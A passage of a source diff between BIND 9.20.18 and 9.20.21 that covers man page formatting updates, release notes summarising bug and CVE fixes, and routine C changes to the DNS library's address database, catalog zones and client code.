\%<#\:std-iscman-named\:.conf>\&. .sp If serving of stale answers is disabled by \fBrndc\-serve\-stale off\fP, then it -remains disabled even if \fI\%named\fP is reloaded or reconfigured. \fBrndc -serve\-stale reset\fP restores the setting as configured in \fI\%named.conf\fP\&. +remains disabled even if \fBnamed\fP \%<#\:std-iscman-named> is reloaded or reconfigured. \fBrndc +serve\-stale reset\fP restores the setting as configured in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .sp \fBrndc serve\-stale status\fP reports whether caching and serving of stale answers is currently enabled or disabled. It also reports the values of @@ -586,8 +602,8 @@ If the server is configured with \fBallow\-new\-zones\fP set to \fByes\fP, then this command prints the configuration of a running zone. .sp -See also \fI\%rndc addzone\fP, \fI\%rndc modzone\fP\&. -and \fI\%rndc delzone\fP\&. +See also \fBrndc addzone\fP, \fBrndc modzone\fP\&. +and \fBrndc delzone\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -602,7 +618,7 @@ .sp This command requires that the zone be configured with a \fBdnssec\-policy\fP\&. .sp -See also \fI\%rndc loadkeys\fP\&. +See also \fBrndc loadkeys\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -634,13 +650,13 @@ chain should be set. \fBiterations\fP defines the number of additional times to apply the algorithm when generating an NSEC3 hash. The \fBsalt\fP is a string of data expressed in hexadecimal, a hyphen (\fB\-\fP) if no salt is to be -used, or the keyword \fBauto\fP, which causes \fI\%named\fP to generate a +used, or the keyword \fBauto\fP, which causes \fBnamed\fP \%<#\:std-iscman-named> to generate a random 64\-bit salt. .sp The only recommended configuration is \fBrndc signing \-nsec3param 1 0 0 \- zone\fP, i.e. no salt, no additional iterations, no opt\-out. .sp -\fBWARNING:\fP +\fBWarning:\fP .INDENT 7.0 .INDENT 3.5 Do not use extra iterations, salt, or opt\-out unless all their implications @@ -676,11 +692,11 @@ .B stop \-p This command stops the server, making sure any recent changes made through dynamic update or IXFR are first saved to the master files of the updated -zones. If \fB\-p\fP is specified, \fI\%named\fP\(aqs process ID is returned. -This allows an external process to determine when \fI\%named\fP has +zones. If \fB\-p\fP is specified, \fBnamed\fP \%<#\:std-iscman-named>\(aqs process ID is returned. +This allows an external process to determine when \fBnamed\fP \%<#\:std-iscman-named> has completed stopping. .sp -See also \fI\%rndc halt\fP\&. +See also \fBrndc halt\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -713,7 +729,7 @@ journal file is removed. If no zone is specified, the reloading happens asynchronously. .sp -See also \fI\%rndc freeze\fP\&. +See also \fBrndc freeze\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -727,7 +743,7 @@ provided value. .UNINDENT .sp -See also \fI\%rndc notrace\fP\&. +See also \fBrndc notrace\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -748,11 +764,11 @@ signed, whether it uses automatic DNSSEC key management or inline signing, and the scheduled refresh or expiry times for the zone. .sp -See also \fI\%rndc showzone\fP\&. +See also \fBrndc showzone\fP\&. .UNINDENT .sp -\fBrndc\fP commands that specify zone names, such as \fI\%reload\fP -\fI\%retransfer\fP, or \fI\%zonestatus\fP, can be ambiguous when applied to zones +\fBrndc\fP commands that specify zone names, such as \fBreload\fP +\fBretransfer\fP, or \fBzonestatus\fP, can be ambiguous when applied to zones of type \fBredirect\fP\&. Redirect zones are always called \fB\&.\fP, and can be confused with zones of type \fBhint\fP or with secondary copies of the root zone. To specify a redirect zone, use the special zone name @@ -766,12 +782,11 @@ Several error messages could be clearer. .SH SEE ALSO .sp -\fI\%rndc.conf(5)\fP, \fI\%rndc\-confgen(8)\fP, -\fI\%named(8)\fP, \fI\%named.conf(5)\fP, BIND 9 Administrator +\fBrndc.conf(5)\fP \%<#\:std-iscman-rndc\:.conf>, \fBrndc\-confgen(8)\fP \%<#\:std-iscman-rndc-confgen>, +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBnamed.conf(5)\fP \%<#\:std-iscman-named\:.conf>, BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/rndc.conf.5in bind9-9.20.21/doc/man/rndc.conf.5in --- bind9-9.20.18/doc/man/rndc.conf.5in 2026-01-09 13:41:22.420980117 +0000 +++ bind9-9.20.21/doc/man/rndc.conf.5in 2026-03-13 22:17:47.286254968 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -35,9 +36,9 @@ \fBrndc.conf\fP .SH DESCRIPTION .sp -\fBrndc.conf\fP is the configuration file for \fI\%rndc\fP, the BIND 9 name +\fBrndc.conf\fP is the configuration file for \fBrndc\fP \%<#\:std-iscman-rndc>, the BIND 9 name server control utility. This file has a similar structure and syntax to -\fI\%named.conf\fP\&. Statements are enclosed in braces and terminated with a +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. Statements are enclosed in braces and terminated with a semi\-colon. Clauses in the statements are also semi\-colon terminated. The usual comment styles are supported: .sp @@ -47,13 +48,13 @@ .sp Unix style: # to end of line .sp -\fBrndc.conf\fP is much simpler than \fI\%named.conf\fP\&. The file uses three +\fBrndc.conf\fP is much simpler than \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. The file uses three statements: an options statement, a server statement, and a key statement. .sp The \fBoptions\fP statement contains five clauses. The \fBdefault\-server\fP clause is followed by the name or address of a name server. This host -is used when no name server is given as an argument to \fI\%rndc\fP\&. +is used when no name server is given as an argument to \fBrndc\fP \%<#\:std-iscman-rndc>\&. The \fBdefault\-key\fP clause is followed by the name of a key, which is identified by a \fBkey\fP statement. If no \fBkeyid\fP is provided on the rndc command line, and no \fBkey\fP clause is found in a matching @@ -78,14 +79,14 @@ .sp The \fBkey\fP statement begins with an identifying string, the name of the key. The statement has two clauses. \fBalgorithm\fP identifies the -authentication algorithm for \fI\%rndc\fP to use; currently only HMAC\-MD5 +authentication algorithm for \fBrndc\fP \%<#\:std-iscman-rndc> to use; currently only HMAC\-MD5 (for compatibility), HMAC\-SHA1, HMAC\-SHA224, HMAC\-SHA256 (default), HMAC\-SHA384, and HMAC\-SHA512 are supported. This is followed by a secret clause which contains the base\-64 encoding of the algorithm\(aqs authentication key. The base\-64 string is enclosed in double quotes. .sp There are two common ways to generate the base\-64 string for the secret. -The BIND 9 program \fI\%rndc\-confgen\fP can be used to generate a random +The BIND 9 program \fBrndc\-confgen\fP \%<#\:std-iscman-rndc-confgen> can be used to generate a random key, or the \fBmmencode\fP program, also known as \fBmimencode\fP, can be used to generate a base\-64 string from known input. \fBmmencode\fP does not ship with BIND 9 but is available on many systems. See the Example @@ -146,7 +147,7 @@ .UNINDENT .UNINDENT .sp -In the above example, \fI\%rndc\fP by default uses the server at +In the above example, \fBrndc\fP \%<#\:std-iscman-rndc> by default uses the server at localhost (127.0.0.1) and the key called \(dqsamplekey\(dq. Commands to the localhost server use the \(dqsamplekey\(dq key, which must also be defined in the server\(aqs configuration file with the same name and secret. The @@ -154,16 +155,16 @@ and its secret clause contains the base\-64 encoding of the HMAC\-SHA256 secret enclosed in double quotes. .sp -If \fI\%rndc \-s testserver\fP is used, then \fI\%rndc\fP connects to the server +If \fBrndc \-s testserver\fP \%<#\:cmdoption-rndc-s> is used, then \fBrndc\fP \%<#\:std-iscman-rndc> connects to the server on localhost port 5353 using the key \(dqtestkey\(dq. .sp -To generate a random secret with \fI\%rndc\-confgen\fP: +To generate a random secret with \fBrndc\-confgen\fP \%<#\:std-iscman-rndc-confgen>: .sp -\fI\%rndc\-confgen\fP +\fBrndc\-confgen\fP \%<#\:std-iscman-rndc-confgen> .sp A complete \fBrndc.conf\fP file, including the randomly generated key, is written to the standard output. Commented\-out \fBkey\fP and -\fBcontrols\fP statements for \fI\%named.conf\fP are also printed. +\fBcontrols\fP statements for \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> are also printed. .sp To generate a base\-64 secret with \fBmmencode\fP: .sp @@ -172,15 +173,14 @@ .sp The name server must be configured to accept rndc connections and to recognize the key specified in the \fBrndc.conf\fP file, using the -controls statement in \fI\%named.conf\fP\&. See the sections on the +controls statement in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. See the sections on the \fBcontrols\fP statement in the BIND 9 Administrator Reference Manual for details. .SH SEE ALSO .sp -\fI\%rndc(8)\fP, \fI\%rndc\-confgen(8)\fP, \fBmmencode(1)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBrndc(8)\fP \%<#\:std-iscman-rndc>, \fBrndc\-confgen(8)\fP \%<#\:std-iscman-rndc-confgen>, \fBmmencode(1)\fP, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/tsig-keygen.8in bind9-9.20.21/doc/man/tsig-keygen.8in --- bind9-9.20.18/doc/man/tsig-keygen.8in 2026-01-09 13:41:22.443980729 +0000 +++ bind9-9.20.21/doc/man/tsig-keygen.8in 2026-03-13 22:17:47.310255340 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,8 +37,8 @@ .SH DESCRIPTION .sp \fBtsig\-keygen\fP is an utility that generates keys for use with TSIG -(Transaction Signatures) as defined in \X'tty: link https://datatracker.ietf.org/doc/html/rfc2845.html'\fI\%RFC 2845\fP\X'tty: link'\&. The resulting keys can be used, -for example, to secure dynamic DNS updates to a zone, or for the \fI\%rndc\fP +(Transaction Signatures) as defined in \fBRFC 2845\fP \%\&. The resulting keys can be used, +for example, to secure dynamic DNS updates to a zone, or for the \fBrndc\fP \%<#\:std-iscman-rndc> command channel. .sp A domain name can be specified on the command line to be used as the name @@ -58,10 +59,9 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%nsupdate(1)\fP, \fI\%named.conf(5)\fP, \fI\%named(8)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBnsupdate(1)\fP \%<#\:std-iscman-nsupdate>, \fBnamed.conf(5)\fP \%<#\:std-iscman-named\:.conf>, \fBnamed(8)\fP \%<#\:std-iscman-named>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/misc/checkgrammar.py bind9-9.20.21/doc/misc/checkgrammar.py --- bind9-9.20.18/doc/misc/checkgrammar.py 2026-01-09 13:39:28.267977072 +0000 +++ bind9-9.20.21/doc/misc/checkgrammar.py 2026-03-13 22:01:10.817873639 +0000 @@ -20,6 +20,7 @@ from collections import namedtuple from itertools import groupby + import fileinput import parsegrammar diff -Nru bind9-9.20.18/doc/misc/parsegrammar.py bind9-9.20.21/doc/misc/parsegrammar.py --- bind9-9.20.18/doc/misc/parsegrammar.py 2026-01-09 13:39:28.267977072 +0000 +++ bind9-9.20.21/doc/misc/parsegrammar.py 2026-03-13 22:01:10.817873639 +0000 @@ -59,6 +59,7 @@ } } """ + import fileinput import json import re diff -Nru bind9-9.20.18/doc/notes/notes-9.20.19.rst bind9-9.20.21/doc/notes/notes-9.20.19.rst --- bind9-9.20.18/doc/notes/notes-9.20.19.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/doc/notes/notes-9.20.19.rst 2026-03-13 22:01:10.819873575 +0000 @@ -0,0 +1,43 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +Notes for BIND 9.20.19 +---------------------- + +Feature Changes +~~~~~~~~~~~~~~~ + +- Update requirements for system test suite. + + Python 3.10 or newer is now required for running the system test suite. The + required Python packages and their version requirements are now tracked in the + file `bin/tests/system/requirements.txt`. :gl:`#5690` :gl:`#5614` + + +Bug Fixes +~~~~~~~~~ + +- Fix inbound IXFR performance regression. + + Very large inbound IXFR transfers were much slower compared to BIND + 9.18. The performance was improved by adding specialized logic to + handle IXFR transfers. :gl:`#5442` + +- Make catalog zone names and member zones' entry names + case-insensitive. :gl:`#5693` + +- Fix implementation of BRID and HHIT record types. :gl:`#5710` + +- Fix implementation of DSYNC record type. :gl:`#5711` + +- Fix response policy and catalog zones to work with `$INCLUDE` directive. + + Reloading a RPZ or a catalog zone could have failed when `$INCLUDE` was in use. :gl:`#5714` diff -Nru bind9-9.20.18/doc/notes/notes-9.20.20.rst bind9-9.20.21/doc/notes/notes-9.20.20.rst --- bind9-9.20.18/doc/notes/notes-9.20.20.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/doc/notes/notes-9.20.20.rst 2026-03-13 22:01:10.819873575 +0000 @@ -0,0 +1,98 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +Notes for BIND 9.20.20 +---------------------- + +Security Fixes +~~~~~~~~~~~~~~ + +- Fix a use-after-free error in ``dns_client_resolve()`` triggered by a + DNAME response. + + This issue only affected the :iscman:`delv` tool and it has now been + fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#5728` + +Feature Changes +~~~~~~~~~~~~~~~ + +- Record query time for all dnstap responses. + + Not all DNS responses had the query time set in their corresponding + dnstap messages. This has been fixed. :gl:`#3695` + +- Optimize TCP source port selection on Linux. + + Enable the ``IP_LOCAL_PORT_RANGE`` socket option on the outgoing TCP + sockets to allow faster selection of the source tuple + for different destination tuples, when nearing over + 70-80% of the source port utilization. :gl:`!11569` + +Bug Fixes +~~~~~~~~~ + +- Fix an assertion failure triggered by non-minimal IXFRs. + + Processing an IXFR that included an RRset whose contents were not + changed by the transfer triggered an assertion failure. This has been + fixed. :gl:`#5759` + +- Fix a crash when retrying a NOTIFY over TCP. + + Furthermore, do not attempt to retry over TCP at all if the source + address is not available. :gl:`#5457` + +- Fetch loop detection improvements. + + Fix a case where an in-domain nameserver with expired glue would fail + to resolve. :gl:`#5588` + +- Randomize nameserver selection. + + Since BIND 9.20.17, when selecting nameserver addresses to be looked + up, :iscman:`named` selected them in DNSSEC order from the start of + the NS RRset. This could lead to a resolution failure despite there + being an address that could be resolved using the other nameserver + names. :iscman:`named` now randomizes the order in which nameserver + addresses are looked up. :gl:`#5695` :gl:`#5745` + +- Fix dnstap logging of forwarded queries. :gl:`#5724` + +- A stale answer could have been served in case of multiple upstream + failures when following CNAME chains. This has been fixed. :gl:`#5751` + +- Fail DNSKEY validation when supported but invalid DS is found. + + A regression was introduced in BIND 9.20.6 when adding the EDE code + for unsupported DNSKEY and DS algorithms. When the parent had both + supported and unsupported algorithms in the DS record, the validator + would treat the supported DS algorithm as insecure instead of bogus + when validating DNSKEY records. This has no security impact, as the + rest of the child zone correctly ends with bogus status, but it is + incorrect and thus the regression has been fixed. :gl:`#5757` + +- Importing an invalid SKR file might corrupt stack memory. + + If an administrator imported an invalid SKR file, the local stack in + the import function might overflow. This could lead to a memory + corruption on the stack and ultimately a server crash. This has been + fixed. :gl:`#5758` + +- Return FORMERR for queries with the EDNS Client Subnet FAMILY field + set to 0. + + :rfc:`7871` only defines families 1 (IPv4) and 2 (IPv6), and requires + FORMERR to be returned for all unknown families. Queries with the EDNS + Client Subnet FAMILY field set to 0 now elicit responses with + RCODE=FORMERR. :gl:`!11565` diff -Nru bind9-9.20.18/doc/notes/notes-9.20.21.rst bind9-9.20.21/doc/notes/notes-9.20.21.rst --- bind9-9.20.18/doc/notes/notes-9.20.21.rst 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/doc/notes/notes-9.20.21.rst 2026-03-13 22:01:10.819873575 +0000 @@ -0,0 +1,75 @@ +.. Copyright (C) Internet Systems Consortium, Inc. ("ISC") +.. +.. SPDX-License-Identifier: MPL-2.0 +.. +.. This Source Code Form is subject to the terms of the Mozilla Public +.. License, v. 2.0. If a copy of the MPL was not distributed with this +.. file, you can obtain one at https://mozilla.org/MPL/2.0/. +.. +.. See the COPYRIGHT file distributed with this work for additional +.. information regarding copyright ownership. + +Notes for BIND 9.20.21 +---------------------- + +Security Fixes +~~~~~~~~~~~~~~ + +- Fix unbounded NSEC3 iterations when validating referrals to unsigned + delegations. :cve:`2026-1519` + + DNSSEC-signed zones may contain high iteration-count NSEC3 records, + which prove that certain delegations are insecure. Previously, a + validating resolver encountering such a delegation processed these + iterations up to the number given, which could be a maximum of 65,535. + This has been addressed by introducing a processing limit, set at 50. + Now, if such an NSEC3 record is encountered, the delegation will be + treated as insecure. + + ISC would like to thank Samy Medjahed/Ap4sh for bringing this + vulnerability to our attention. :gl:`#5708` + +- Fix memory leaks in code preparing DNSSEC proofs of non-existence. + :cve:`2026-3104` + + An attacker controlling a DNSSEC-signed zone could trigger a memory + leak in the logic preparing DNSSEC proofs of non-existence, by + creating more than :any:`max-records-per-type` RRSIGs for NSEC + records. These memory leaks have been fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#5742` + +- Prevent a crash in code processing queries containing a TKEY record. + :cve:`2026-3119` + + The :iscman:`named` process could terminate unexpectedly when + processing a correctly signed query containing a TKEY record. This has + been fixed. + + ISC would like to thank Vitaly Simonovich for bringing this + vulnerability to our attention. :gl:`#5748` + +- Fix a stack use-after-return flaw in SIG(0) handling code. + :cve:`2026-3591` + + A stack use-after-return flaw in SIG(0) handling code could enable ACL + bypass and/or assertion failures in certain circumstances. This flaw + has been fixed. + + ISC would like to thank Mcsky23 for bringing this vulnerability to our + attention. :gl:`#5754` + +Bug Fixes +~~~~~~~~~ + +- Fix the handling of :namedconf:ref:`key` statements defined inside + views. + + A recent change introduced in BIND 9.20.17 hardened the + :namedconf:ref:`key` name check when used in :any:`primaries`, to + immediately reject the configuration if the key was not defined + (rather than only checking whether the key name was correctly formed). + However, that change introduced a regression that prevented the use of + a :namedconf:ref:`key` defined in a view. This has now been fixed. + :gl:`#5761` diff -Nru bind9-9.20.18/lib/dns/adb.c bind9-9.20.21/lib/dns/adb.c --- bind9-9.20.18/lib/dns/adb.c 2026-01-09 13:39:28.307978122 +0000 +++ bind9-9.20.21/lib/dns/adb.c 2026-03-13 22:01:10.858872329 +0000 @@ -60,12 +60,8 @@ /*! * For type 3 negative cache entries, we will remember that the address is * broken for this long. XXXMLG This is also used for actual addresses, too. - * The intent is to keep us from constantly asking about A/AAAA records - * if the zone has extremely low TTLs. */ -#define ADB_CACHE_MINIMUM 10 /*%< seconds */ #define ADB_CACHE_MAXIMUM 86400 /*%< seconds (86400 = 24 hours) */ -#define ADB_ENTRY_WINDOW 60 /*%< seconds */ #ifndef ADB_HASH_BITS #define ADB_HASH_BITS 12 @@ -265,6 +261,12 @@ #endif /* + * ADB settings that can be tweaked with named -T option + */ +unsigned int dns_adb_entrywindow = 60; +unsigned int dns_adb_cachemin = 10; + +/* * Internal functions (and prototypes). */ static dns_adbname_t * @@ -414,11 +416,11 @@ */ #define FIND_WANTEVENT(fn) (((fn)->options & DNS_ADBFIND_WANTEVENT) != 0) #define FIND_WANTEMPTYEVENT(fn) (((fn)->options & DNS_ADBFIND_EMPTYEVENT) != 0) -#define FIND_AVOIDFETCHES(fn) (((fn)->options & DNS_ADBFIND_AVOIDFETCHES) != 0) -#define FIND_STARTATZONE(fn) (((fn)->options & DNS_ADBFIND_STARTATZONE) != 0) -#define FIND_STATICSTUB(fn) (((fn)->options & DNS_ADBFIND_STATICSTUB) != 0) -#define FIND_HAS_ADDRS(fn) (!ISC_LIST_EMPTY((fn)->list)) -#define FIND_NOFETCH(fn) (((fn)->options & DNS_ADBFIND_NOFETCH) != 0) +#define FIND_AVOIDFETCHES(fn) (((fn)->options & DNS_ADBFIND_AVOIDFETCHES) != 0) +#define FIND_STARTATZONE(fn) (((fn)->options & DNS_ADBFIND_STARTATZONE) != 0) +#define FIND_STATICSTUB(fn) (((fn)->options & DNS_ADBFIND_STATICSTUB) != 0) +#define FIND_HAS_ADDRS(fn) (!ISC_LIST_EMPTY((fn)->list)) +#define FIND_NOFETCH(fn) (((fn)->options & DNS_ADBFIND_NOFETCH) != 0) #define ADBNAME_TYPE_MASK (DNS_ADBFIND_STARTATZONE | DNS_ADBFIND_STATICSTUB) @@ -446,10 +448,10 @@ * Due to the ttlclamp(), the TTL is never 0 unless the trust is ultimate, * in which case we need to set the expiration to have immediate effect. */ -#define ADJUSTED_EXPIRE(expire, now, ttl) \ - ((ttl != 0) \ - ? ISC_MIN(expire, ISC_MAX(now + ADB_ENTRY_WINDOW, now + ttl)) \ - : INT_MAX) +#define ADJUSTED_EXPIRE(expire, now, ttl) \ + ((ttl != 0) ? ISC_MIN(expire, \ + ISC_MAX(now + dns_adb_entrywindow, now + ttl)) \ + : INT_MAX) /* * Error states. @@ -522,8 +524,12 @@ static dns_ttl_t ttlclamp(dns_ttl_t ttl) { - if (ttl < ADB_CACHE_MINIMUM) { - ttl = ADB_CACHE_MINIMUM; + if (ttl < dns_adb_cachemin) { + /* + * Avoid to constantly ask about A/AAAA records if the zone has + * extremely low TTLs. + */ + ttl = dns_adb_cachemin; } if (ttl > ADB_CACHE_MAXIMUM) { ttl = ADB_CACHE_MAXIMUM; @@ -555,7 +561,7 @@ switch (rdataset->trust) { case dns_trust_glue: case dns_trust_additional: - rdataset->ttl = ADB_CACHE_MINIMUM; + rdataset->ttl = dns_adb_cachemin; break; case dns_trust_ultimate: rdataset->ttl = 0; @@ -1059,7 +1065,7 @@ .quota = adb->quota, .references = ISC_REFCOUNT_INITIALIZER(1), .adb = dns_adb_ref(adb), - .expires = now + ADB_ENTRY_WINDOW, + .expires = now + dns_adb_entrywindow, .magic = DNS_ADBENTRY_MAGIC, }; @@ -1320,7 +1326,7 @@ dns_adbname_ref(adbname); LOCK(&adbname->lock); /* Must be unlocked by the caller */ - if (adbname->last_used + ADB_CACHE_MINIMUM <= last_update) { + if (adbname->last_used + dns_adb_cachemin <= last_update) { adbname->last_used = now; } if (locktype == isc_rwlocktype_write) { @@ -1429,7 +1435,7 @@ } /* Did enough time pass to update the LRU? */ - if (adbentry->last_used + ADB_CACHE_MINIMUM <= last_update) { + if (adbentry->last_used + dns_adb_cachemin <= last_update) { adbentry->last_used = now; if (locktype == isc_rwlocktype_write) { ISC_LIST_UNLINK(adb->entries_lru, adbentry, link); @@ -2187,6 +2193,10 @@ find->cbarg = cbarg; } + if (wanted_fetches) { + find->options |= DNS_ADBFIND_STARTEDFETCH; + } + *findp = find; UNLOCK(&adbname->lock); diff -Nru bind9-9.20.18/lib/dns/catz.c bind9-9.20.21/lib/dns/catz.c --- bind9-9.20.18/lib/dns/catz.c 2026-01-09 13:39:28.308978148 +0000 +++ bind9-9.20.21/lib/dns/catz.c 2026-03-13 22:01:10.859872297 +0000 @@ -520,8 +520,8 @@ dns_name_format(&catz->name, czname, DNS_NAME_FORMATSIZE); - isc_ht_init(&toadd, catz->catzs->mctx, 1, ISC_HT_CASE_SENSITIVE); - isc_ht_init(&tomod, catz->catzs->mctx, 1, ISC_HT_CASE_SENSITIVE); + isc_ht_init(&toadd, catz->catzs->mctx, 1, ISC_HT_CASE_INSENSITIVE); + isc_ht_init(&tomod, catz->catzs->mctx, 1, ISC_HT_CASE_INSENSITIVE); isc_ht_iter_create(newcatz->entries, &iter1); isc_ht_iter_create(catz->entries, &iter2); @@ -795,7 +795,7 @@ isc_mutex_init(&catzs->lock); isc_refcount_init(&catzs->references, 1); - isc_ht_init(&catzs->zones, mctx, 4, ISC_HT_CASE_SENSITIVE); + isc_ht_init(&catzs->zones, mctx, 4, ISC_HT_CASE_INSENSITIVE); isc_mem_attach(mctx, &catzs->mctx); return catzs; @@ -836,7 +836,7 @@ dns_catz_zones_attach(catzs, &catz->catzs); isc_mutex_init(&catz->lock); isc_refcount_init(&catz->references, 1); - isc_ht_init(&catz->entries, catzs->mctx, 4, ISC_HT_CASE_SENSITIVE); + isc_ht_init(&catz->entries, catzs->mctx, 4, ISC_HT_CASE_INSENSITIVE); isc_ht_init(&catz->coos, catzs->mctx, 4, ISC_HT_CASE_INSENSITIVE); isc_time_settoepoch(&catz->lastupdated); dns_catz_options_init(&catz->defoptions); diff -Nru bind9-9.20.18/lib/dns/client.c bind9-9.20.21/lib/dns/client.c --- bind9-9.20.18/lib/dns/client.c 2026-01-09 13:39:28.308978148 +0000 +++ bind9-9.20.21/lib/dns/client.c 2026-03-13 22:01:10.859872297 +0000 @@ -146,20 +146,14 @@ if (result != ISC_R_SUCCESS) { goto cleanup; } - result = isc_net_getudpportrange(AF_INET, &udpport_low, &udpport_high); - if (result != ISC_R_SUCCESS) { - goto cleanup; - } + isc_net_getportrange(AF_INET, &udpport_low, &udpport_high); isc_portset_addrange(v4portset, udpport_low, udpport_high); result = isc_portset_create(mctx, &v6portset); if (result != ISC_R_SUCCESS) { goto cleanup; } - result = isc_net_getudpportrange(AF_INET6, &udpport_low, &udpport_high); - if (result != ISC_R_SUCCESS) { - goto cleanup; - } + isc_net_getportrange(AF_INET6, &udpport_low, &udpport_high); isc_portset_addrange(v6portset, udpport_low, udpport_high); result = dns_dispatchmgr_setavailports(manager, v4portset, v6portset); @@ -513,7 +507,7 @@ name = dns_fixedname_name(&rctx->name); do { - dns_name_t *fname = NULL; + dns_name_t *fname = dns_fixedname_initname(&foundname); dns_name_t *ansname = NULL; dns_db_t *db = NULL; dns_dbnode_t *node = NULL; @@ -522,7 +516,6 @@ want_restart = false; if (resp == NULL) { - fname = dns_fixedname_initname(&foundname); INSIST(!dns_rdataset_isassociated(rctx->rdataset)); INSIST(rctx->sigrdataset == NULL || !dns_rdataset_isassociated(rctx->sigrdataset)); @@ -551,14 +544,13 @@ goto done; } } else { - INSIST(resp != NULL); INSIST(resp->fetch == rctx->fetch); dns_resolver_destroyfetch(&rctx->fetch); db = resp->db; node = resp->node; result = resp->result; vresult = resp->vresult; - fname = resp->foundname; + dns_name_copy(resp->foundname, fname); INSIST(resp->rdataset == rctx->rdataset); INSIST(resp->sigrdataset == rctx->sigrdataset); dns_resolver_freefresp(&resp); diff -Nru bind9-9.20.18/lib/dns/db.c bind9-9.20.21/lib/dns/db.c --- bind9-9.20.18/lib/dns/db.c 2026-01-09 13:39:28.308978148 +0000 +++ bind9-9.20.21/lib/dns/db.c 2026-03-13 22:01:10.860872265 +0000 @@ -316,6 +316,57 @@ } isc_result_t +dns_db_beginupdate(dns_db_t *db, dns_dbversion_t *ver, + dns_rdatacallbacks_t *callbacks) { + /* + * Begin updating 'db'. + */ + + REQUIRE(DNS_DB_VALID(db)); + REQUIRE(dns_db_iszone(db)); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + if (db->methods->beginupdate != NULL) { + return (db->methods->beginupdate)(db, ver, callbacks); + } + return ISC_R_NOTIMPLEMENTED; +} + +isc_result_t +dns_db_commitupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks) { + /* + * Commit the update to 'db'. + */ + + REQUIRE(DNS_DB_VALID(db)); + REQUIRE(dns_db_iszone(db)); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + if (db->methods->commitupdate != NULL) { + return (db->methods->commitupdate)(db, callbacks); + } + + return ISC_R_NOTIMPLEMENTED; +} + +isc_result_t +dns_db_abortupdate(dns_db_t *db, dns_rdatacallbacks_t *callbacks) { + /* + * Abort the update to 'db'. + */ + + REQUIRE(DNS_DB_VALID(db)); + REQUIRE(dns_db_iszone(db)); + REQUIRE(DNS_CALLBACK_VALID(callbacks)); + + if (db->methods->abortupdate != NULL) { + return (db->methods->abortupdate)(db, callbacks); + } + + return ISC_R_NOTIMPLEMENTED; +} + +isc_result_t dns_db_load(dns_db_t *db, const char *filename, dns_masterformat_t format, unsigned int options) { isc_result_t result, eresult; diff -Nru bind9-9.20.18/lib/dns/diff.c bind9-9.20.21/lib/dns/diff.c --- bind9-9.20.18/lib/dns/diff.c 2026-01-09 13:39:28.309978174 +0000 +++ bind9-9.20.21/lib/dns/diff.c 2026-03-13 22:01:10.860872265 +0000 @@ -211,42 +211,6 @@ } } -static isc_stdtime_t -setresign(dns_rdataset_t *modified) { - dns_rdata_t rdata = DNS_RDATA_INIT; - dns_rdata_rrsig_t sig; - int64_t when; - isc_result_t result; - - result = dns_rdataset_first(modified); - INSIST(result == ISC_R_SUCCESS); - dns_rdataset_current(modified, &rdata); - (void)dns_rdata_tostruct(&rdata, &sig, NULL); - if ((rdata.flags & DNS_RDATA_OFFLINE) != 0) { - when = 0; - } else { - when = dns_time64_from32(sig.timeexpire); - } - dns_rdata_reset(&rdata); - - result = dns_rdataset_next(modified); - while (result == ISC_R_SUCCESS) { - dns_rdataset_current(modified, &rdata); - (void)dns_rdata_tostruct(&rdata, &sig, NULL); - if ((rdata.flags & DNS_RDATA_OFFLINE) != 0) { - goto next_rr; - } - if (when == 0 || dns_time64_from32(sig.timeexpire) < when) { - when = dns_time64_from32(sig.timeexpire); - } - next_rr: - dns_rdata_reset(&rdata); - result = 